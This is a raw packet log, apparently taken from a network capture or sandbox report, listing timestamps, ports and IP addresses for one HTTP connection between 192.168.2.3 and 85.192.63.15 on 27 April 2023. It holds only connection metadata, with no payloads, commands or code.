Apr 27, 2023 07:41:55.377238989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.377258062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.377295971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.378612041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.378657103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.378726006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.378734112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.378734112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.378777027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.378793955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.378824949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.378921032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.378921032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.380273104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.380311012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.380367041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.380381107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.380409002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.380446911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.380446911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.380474091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.380563974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.380600929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.380620956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.380650043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.383841038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.383877993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.383915901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.383925915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.383939981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.383974075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.383991003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.384022951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.384030104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.384057045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.384076118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.384102106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.384114027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.384147882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.384159088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.384187937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.384202957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.384238005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.386939049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.386976004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.387026072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.387068987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.387068987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.387068987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.387068987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.387104988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.387114048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.387155056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.388659954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.388700962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.388746023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.388773918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.388792038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.388799906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.388799906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.388825893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.388844013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.388881922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.393742085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.393780947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.393825054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.393870115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.393882990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.393882990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.393882990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.393907070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.393918991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.393950939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.393968105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.393986940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.394006014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.394031048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.394043922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.394073963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.394088030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.394109964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.394139051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.394169092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.397057056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.397106886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.397154093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.397152901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.397182941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.397188902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.397217989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.397259951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.400333881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.400374889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.400418043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.400461912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.400465012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.400465012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.400496960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.400501966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.400518894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.400553942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.402143955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.402193069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.402221918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.402236938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.402245998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.402272940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.402292013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.402328014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.405611992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.405659914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.405693054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.405731916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.405731916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.405735970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.405764103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.405771971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.405786991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.405852079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.424190998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.424242020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.424277067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.424321890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.424330950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.424330950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.424330950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.424357891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.424406052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.424406052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429267883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429315090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429349899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429359913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429373980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429405928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429413080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429442883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429459095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429485083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429513931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429529905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429532051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429564953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.429580927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.429624081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.432326078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.432363033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.432406902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.432431936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.432451963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.432461023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.432461023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.432487965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.432503939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.432543993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.434035063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.434082985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.434130907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.434164047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.434178114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.434200048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.434216976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.434257984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.437242031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.437279940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.437324047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.437367916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.437374115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.437403917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.437479973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.437479973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.443016052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.443119049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.443157911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.443165064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.443202972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.443216085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.443288088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.443412066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.444001913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.444052935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.444081068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.444096088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.444128990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.444202900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.444214106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.444299936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.445559978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.445605993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.445638895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.445669889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.445681095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.445669889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.445715904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.445776939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.445776939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.445776939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.448913097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.448950052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.448996067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.449043036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.449064970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.449078083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.449212074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.450691938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.450740099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.450773954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.450822115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.450826883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.450859070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.450901985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.450990915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.453979969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.454030037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.454076052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.454111099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.454111099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.454185009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.454185963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.454185963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.455701113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.455749035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.455792904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.455828905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.455858946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.455858946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.455898046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.455898046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.458971977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.459023952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.459069967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.459074020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.459108114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.459152937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.459152937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.459186077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.460798979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.460872889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.460884094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.460935116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.460938931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.461013079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.461015940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.461071014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.462497950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.462549925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.462583065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.462618113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.462632895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.462677002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.462682962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.462737083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.462743998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.462795019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.480257988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.480319977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.480380058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.480390072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.480407953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.480423927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.480462074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.480462074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.481947899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.481995106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.482024908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.482057095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.482062101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.482079029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.482093096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.482108116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.482136011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.482136011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.485172033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.485199928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.485234022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.485244036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.485264063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.485287905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.485299110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.485328913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.485388041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.485388994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.485388994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.485388994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.486928940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.486968994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.486998081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.487035990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.487056971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.487056971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.487056971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.487067938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.487168074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.487168074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.488655090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.488698959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.488727093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.488759041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.488759995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.488765001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.488792896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.488809109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.488831997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.488831997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.492036104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.492069960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.492095947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.492099047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.492116928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.492124081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.492146969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.492162943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.493767977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.493793011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.493815899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.493834972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.493860006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.493880987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.493915081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.493915081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.493915081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.493915081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.493993044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.498929024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.498996973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.499047041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.499087095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.499169111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.499169111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.499169111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.499169111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.501848936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.501888037 CEST	80	49697	85.192.63.15	192.168.2.3
